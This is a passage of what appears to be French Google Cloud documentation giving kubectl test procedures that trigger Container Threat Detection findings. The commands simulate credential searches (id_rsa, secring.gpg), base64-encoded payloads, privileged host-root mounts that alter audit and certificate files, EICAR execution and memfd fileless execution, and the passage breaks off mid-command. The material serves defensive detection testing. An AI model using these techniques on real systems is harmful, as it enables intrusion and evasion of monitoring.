Pour déclencher un résultat Credential Access: GPG Key Reconnaissance, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme find (ou un autre utilitaire de recherche approprié comme grep). Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant des clés privées ou des mots de passe, ou des modèles de contenu suggérant des mots de passe ou des secrets. Cette action est signalée comme suspecte, car elle imite le comportement observé lors de la tentative de localisation des clés de sécurité GPG.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
     

   • Nœud ARM :

     tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
     

Cette procédure de test crée un résultat Credential Access: GPG Key Reconnaissance que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : rechercher des clés privées ou des mots de passe

Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme find (ou un autre utilitaire de recherche approprié comme grep). Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant des clés privées ou des mots de passe, ou des modèles de contenu suggérant des mots de passe ou des secrets. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de localisation d'informations sensibles telles que des clés privées ou des mots de passe dans un environnement conteneurisé.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/find; /tmp/find id_rsa"
     

   • Nœud ARM :

     tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/find; /tmp/find id_rsa"
     

Cette procédure de test crée un résultat Credential Access: Search Private Keys or Passwords que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Éviction de défense : ligne de commande avec fichier ELF en base64

Pour déclencher un résultat Defense Evasion: Base64 ELF File Command Line, un processus doit avoir base64 comme argument et f0VMRgIB comme argument, qui est la forme encodée en base64 de ELF. Cet exemple utilise la dernière image Ubuntu 24.04. base64 est ensuite exécuté avec les arguments -d et f0VMRgIB. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "base64 -d f0VMRgIB"
     

   • Nœud ARM :

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "base64 -d f0VMRgIB"
     

Cette procédure de test crée deux résultats Defense Evasion: Base64 ELF File Command Line que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center. Deux résultats sont créés, car la commande bash -c initiale et l'exécution de la commande base64 -d répondent aux critères de résultat.

Évasion de la défense : script Python encodé en base64 exécuté

Pour déclencher un résultat Defense Evasion: Base64 Encoded Python Script Executed, un processus doit avoir echo ou base64 comme argument et aW1wb3J0IH comme argument, qui est la forme encodée en base64 de python -c. Cet exemple utilise la dernière image Ubuntu 24.04. echo est ensuite exécuté avec l'argument aW1wb3J0IH. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "echo aW1wb3J0IH"
     

   • Nœud ARM :

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "echo aW1wb3J0IH"
     

Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Python Script Executed que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Évasion de la défense : script shell encodé en base64 exécuté

Pour déclencher un résultat Defense Evasion: Base64 Encoded Shell Script Executed, un processus doit avoir echo ou base64 comme argument et IyEvYmluL2Jhc2gK comme argument, qui est la forme encodée en base64 de #!/bin/bash. Cet exemple utilise la dernière image Ubuntu 24.04. echo est ensuite exécuté avec l'argument IyEvYmluL2Jhc2gK. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "echo IyEvYmluL2Jhc2gK"
     

   • Nœud ARM :

     tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "echo IyEvYmluL2Jhc2gK"
     

Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Shell Script Executed que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Defense Evasion : Désactiver ou modifier le système d'audit Linux (aperçu)

Pour déclencher une détection de modification de l'audit Linux (désactivation ou modification), modifiez l'un des fichiers de configuration liés à l'audit de l'hôte. Cet exemple déploie la dernière image Ubuntu 24.04, installe le système de fichiers racine de l'hôte dans le conteneur, puis modifie /etc/systemd/journald.conf.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire qui modifie l'un des fichiers de configuration liés à l'audit de l'hôte, tel que /etc/systemd/journald.conf.

   • Nœud x86 :

     tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • Nœud ARM :

     tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

Cette procédure de test déclenche un résultat Disable or Modify Linux Audit System que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Évasion de la défense : lancer un outil de compilation de code dans un conteneur

Pour déclencher un résultat Defense Evasion: Launch Code Compiler Tool In Container (Aperçu), un outil de compilation de code doit s'exécuter dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme gcc10 (ou un autre compilateur comme clang). Ce comportement est signalé comme suspect, car il peut indiquer une tentative de compilation et d'exécution de code malveillant dans le conteneur pour échapper à la détection ou modifier son comportement.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire de compilateur tel que gcc10 avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
     

   • Nœud ARM :

     tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
     

Cette procédure de test crée un résultat Defense Evasion: Launch Code Compiler Tool In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Évasion de la défense : certificat racine installé (bêta)

Pour déclencher une détection de certificat racine installé, créez un fichier de certificat racine sur l'hôte à partir d'un conteneur. Cet exemple déploie la dernière image Ubuntu 24.04, en installant le système de fichiers racine de l'hôte dans le conteneur. Il crée ensuite un fichier de certificat vide dans un répertoire approprié.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Installez un fichier de certificat sur l'hôte à partir d'un conteneur.

   • Nœud x86 :

     tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • Nœud ARM :

     tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

     Cette procédure de test déclenche un résultat "Certificat racine installé" que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Exécution : binaire malveillant ajouté exécuté

Pour déclencher un résultat "Exécution : binaire malveillant ajouté exécuté", déposez un binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, crée un fichier malveillant simulé, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier binaire malveillant simulé ne faisait pas partie de l'image de conteneur d'origine. De plus, le fichier binaire est un fichier de test EICAR, qui est classé comme malveillant par les renseignements sur les menaces.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Déposez le fichier binaire EICAR et exécutez-le :

   • Nœud x86 :

     tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c \
           "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
     

   • Nœud ARM :

     tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- sh -c \
           "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
     

Cette procédure de test crée un résultat d'exécution : fichier binaire malveillant ajouté exécuté que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : bibliothèque malveillante ajoutée chargée

Pour déclencher un résultat "Exécution : bibliothèque malveillante ajoutée chargée", ajoutez une bibliothèque malveillante dans votre conteneur et chargez-la. Cet exemple déploie la dernière image Ubuntu 24.04, crée une bibliothèque malveillante simulée, puis la charge à l'aide de mmap. Le chargement de la bibliothèque est inattendu, car la bibliothèque malveillante simulée ne faisait pas partie de l'image de conteneur d'origine et parce que la bibliothèque est un fichier de test EICAR, qui est classé comme malveillant par les renseignements sur les menaces.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Ajoutez le fichier EICAR et chargez-le :

   • Nœud x86 :

     tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c "
           apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
           echo -n '$eicar' > /tmp/test_mal_lib;
           cat << 'EOF' > /tmp/loader.c
     #include <fcntl.h>
     #include <sys/mman.h>
     #include <sys/stat.h>
     #include <unistd.h>
     #include <stdlib.h>
     int main(int argc, char *argv[]) {
        int fd = open(argv[1], O_RDONLY);
        if (fd == -1) return 1;
        struct stat sb;
        if (fstat(fd, &sb) == -1) return 1;
        void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) return 1;
        write(1, addr, sb.st_size);
        munmap(addr, sb.st_size);
        close(fd);
        return 0;
     }
     EOF
           gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
           sleep 10"
     

   • Nœud ARM :

     tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
     "$tag" -- sh -c "
           apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
           echo -n '$eicar' > /tmp/test_mal_lib;
           cat << 'EOF' > /tmp/loader.c
     #include <fcntl.h>
     #include <sys/mman.h>
     #include <sys/stat.h>
     #include <unistd.h>
     #include <stdlib.h>
     int main(int argc, char *argv[]) {
        int fd = open(argv[1], O_RDONLY);
        if (fd == -1) return 1;
        struct stat sb;
        if (fstat(fd, &sb) == -1) return 1;
        void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) return 1;
        write(1, addr, sb.st_size);
        munmap(addr, sb.st_size);
        close(fd);
        return 0;
     }
     EOF
           gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
           sleep 10"
     

Cette procédure de test crée un résultat "Exécution : bibliothèque malveillante ajoutée chargée" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : échappement de conteneur

Pour déclencher un résultat d'exécution : échappement de conteneur, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, la renomme en outil suspect (botb-linux-amd64), puis l'exécute avec des arguments supplémentaires. Cette action est considérée comme suspecte, car cette exécution simule un comportement cohérent avec une tentative de fuite du conteneur.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Déposez un fichier binaire d'outil d'exploitation de conteneur tel que botb-linux-amd64 et exécutez-le :

   • Nœud x86 :

     tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
     

   • Nœud ARM :

     tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
     

Cette procédure de test crée un résultat d'exécution : échappement de conteneur que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution sans fichier dans /memfd:

Pour déclencher un résultat Execution: Fileless Execution in /memfd:, un processus doit être exécuté à partir du système de fichiers en mémoire /memfd:. Cet exemple utilise la dernière image Python. L'utilitaire /bin/ls est copié dans un fichier anonyme dans /memfd:. Ce binaire copié est ensuite exécuté. L'exécution d'un fichier binaire sous /memfd: est signalée comme suspecte, car elle imite le comportement d'un objet qui tente de s'exécuter en mémoire pour éviter les détections basées sur les fichiers.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Créez un conteneur privilégié et ouvrez bash pour exécuter des commandes :

   • Nœud x86 :

     tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image python:latest \
        "$tag" -- python -c "import os,sys,time
     
     time.sleep(10)
     f = open('/bin/ls','rb')
     execdata = f.read()
     f.close()
     fd = os.memfd_create('', 0)
     fname = '/proc/self/fd/{}'.format(fd)
     f = open(fname,'wb')
     f.write(execdata)
     f.close()
     args = ['/bin']
     os.execve(fname, args, os.environ)"
     

   • Nœud ARM :

     tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image python:3-buster \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- python -c "import os,sys,time
     
     time.sleep(10)
     f = open('/bin/ls','rb')
     execdata = f.read()
     f.close()
     fd = os.memfd_create('', 0)
     fname = '/proc/self/fd/{}'.format(fd)
     f = open(fname,'wb')
     f.write(execdata)
     f.close()
     args = ['/bin']
     os.execve(fname, args, os.environ)"
     

Cette procédure de test crée un résultat Execution: Fileless Execution in /memfd: que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution de la faille IngressNightmare

Pour déclencher un résultat d'exécution : exécution de la faille Ingress Nightmare (aperçu), exécutez le fichier binaire nginx dans votre conteneur. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, la renomme en binaire Nginx (nginx), puis l'exécute avec des arguments supplémentaires faisant référence au système de fichiers /proc. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec l'exploit Ingress Nightmare (CVE-2025-1974), ce qui indique une possible exécution de code à distance.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Créez un binaire Nginx tel que nginx et exécutez-le tout en accédant au système de fichiers /proc :

   • Nœud x86 :

     tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
     

   • Nœud ARM :

     tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
     

Cette procédure de test crée un résultat d'exécution : faille Ingress Nightmare que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un outil d'attaque de Kubernetes

Pour déclencher un résultat d'exécution d'un outil d'attaque Kubernetes, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (amicontained), puis l'exécute. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec une tentative d'exécution d'un outil d'attaque Kubernetes potentiel.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Déposez un fichier binaire d'outil d'attaque Kubernetes, tel que amicontained, et exécutez-le :

   • Nœud x86 :

     tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
     

   • Nœud ARM :

     tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
